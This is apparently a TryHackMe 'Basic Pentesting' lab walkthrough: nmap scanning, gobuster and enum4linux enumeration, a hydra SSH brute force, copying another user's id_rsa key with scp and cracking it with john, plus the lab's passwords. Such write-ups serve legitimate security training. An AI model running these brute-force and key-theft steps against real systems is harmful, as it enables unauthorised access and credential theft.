> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/boxes-machines/try-hack-me/basic-pentesting.md).

# Basic Pentesting

## Scanning

```
sudo nmap -sS -A -T4 10.10.108.76

Starting Nmap 7.60 ( https://nmap.org ) at 2023-03-23 15:55 GMT
Nmap scan report for ip-10-10-108-76.eu-west-1.compute.internal (10.10.108.76)
Host is up (0.00043s latency).
Not shown: 994 closed ports
PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db:45:cb:be:4a:8b:71:f8:e9:31:42:ae:ff:f8:45:e4 (RSA)
|   256 09:b9:b9:1c:e0:bf:0e:1c:6f:7f:fe:8e:5f:20:1b:ce (ECDSA)
|_  256 a5:68:2b:22:5f:98:4a:62:21:3d:a2:e2:c5:a9:f7:c2 (EdDSA)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-favicon: Apache Tomcat
|_http-title: Apache Tomcat/9.0.7
MAC Address: 02:A7:C0:41:81:F7 (Unknown)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.60%E=4%D=3/23%OT=22%CT=1%CU=36305%PV=Y%DS=1%DC=D%G=Y%M=02A7C0%T
OS:M=641C768A%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%TS=8
OS:)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=I%II=I%TS=8)SEQ(SP=107%GCD=1%ISR=10D%T
OS:I=Z%TS=8)OPS(O1=M2301ST11NW7%O2=M2301ST11NW7%O3=M2301NNT11NW7%O4=M2301ST
OS:11NW7%O5=M2301ST11NW7%O6=M2301ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W
OS:5=68DF%W6=68DF)ECN(R=Y%DF=Y%T=40%W=6903%O=M2301NNSNW7%CC=Y%Q=)T1(R=Y%DF=
OS:Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y
OS:%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%R
OS:D=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)I
OS:E(R=Y%DFI=N%T=40%CD=S)

Network Distance: 1 hop
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2023-03-23T11:55:54-04:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2023-03-23 15:55:54
|_  start_date: 1600-12-31 23:58:45

TRACEROUTE
HOP RTT     ADDRESS
1   0.43 ms ip-10-10-108-76.eu-west-1.compute.internal (10.10.108.76)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 28.20 seconds

```

## Dirbusting

Two separate websites being hosted on port 80 and 8080

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F12JmAKnqLV6QmUpt45Ia%2Fimage.png?alt=media&amp;token=3d29b8b6-ba9f-45a1-832f-dd9ca628ba58" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FJMSexrrCPo2ontiSUisT%2Fimage.png?alt=media&amp;token=cd2f469c-4bb2-4afa-9048-1539031190c4" alt=""><figcaption></figcaption></figure>

```
gobuster dir -u http://10.10.108.76:80 -w /usr/share/wordlists/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt 
```

We do find the development page

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FLg7DyIAQfEbKEwgkcx6m%2Fimage.png?alt=media&amp;token=6dde5f43-340e-40d4-a53f-9348e75bd62b" alt=""><figcaption></figcaption></figure>

Now J.txt indicates that j password is weak and can be cracked

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fy9uATCGgKFUwmKAyETAr%2Fimage.png?alt=media&amp;token=6c62f123-b068-48d5-866b-3eb054d25438" alt=""><figcaption></figcaption></figure>

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2F0VWlrbFOyuKkbzlwuAUx%2Fimage.png?alt=media&amp;token=41394295-7828-4f93-84c1-62fd548774a1" alt=""><figcaption></figcaption></figure>

## SMB Enumeration

Use enum4linux to enumerate further machine

```
enum4linux -a 10.10.108.76
```

We get the two usernames kay and jan

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2Fo8FDs3Q2n4JpWgME0WTV%2Fimage.png?alt=media&amp;token=ba6cfa02-c306-4f00-8906-4e349adcc1e9" alt=""><figcaption></figcaption></figure>

## SSH Bruteforcing

Now lets bruteforce the password for jan

```
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh://10.10.108.76 -I -vV
```

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FPulozF52ObDzdAELnbGF%2Fimage.png?alt=media&amp;token=0c6ca100-9804-43ef-9015-69b051a2f501" alt=""><figcaption></figcaption></figure>

Connect with SSH, now move to kay home directory, we have .ssh folder

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FfQTJdviq32H0aicZAZzm%2Fimage.png?alt=media&amp;token=824a9e52-ecce-4b95-8363-51063abab2a3" alt=""><figcaption></figcaption></figure>

It has the id\_rsa file, copy it to local machine with scp

```
scp jan@10.10.108.76:/home/kay/.ssh/id_rsa .
```

Now crack it with john and you will get the password **(beeswax)**&#x20;

{% hint style="info" %}
Final Password from backup file

heresareallystrongpasswordthatfollowsthepasswordpolicy$$
{% endhint %}

<figure><img src="https://755681241-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fa5rXMZ1JAQhUeS7TtZkM%2Fuploads%2FNaZxn0vBZznAxjl7tyZ9%2Fimage.png?alt=media&amp;token=390c334d-f41e-409c-b938-be9778f3716b" alt=""><figcaption></figcaption></figure>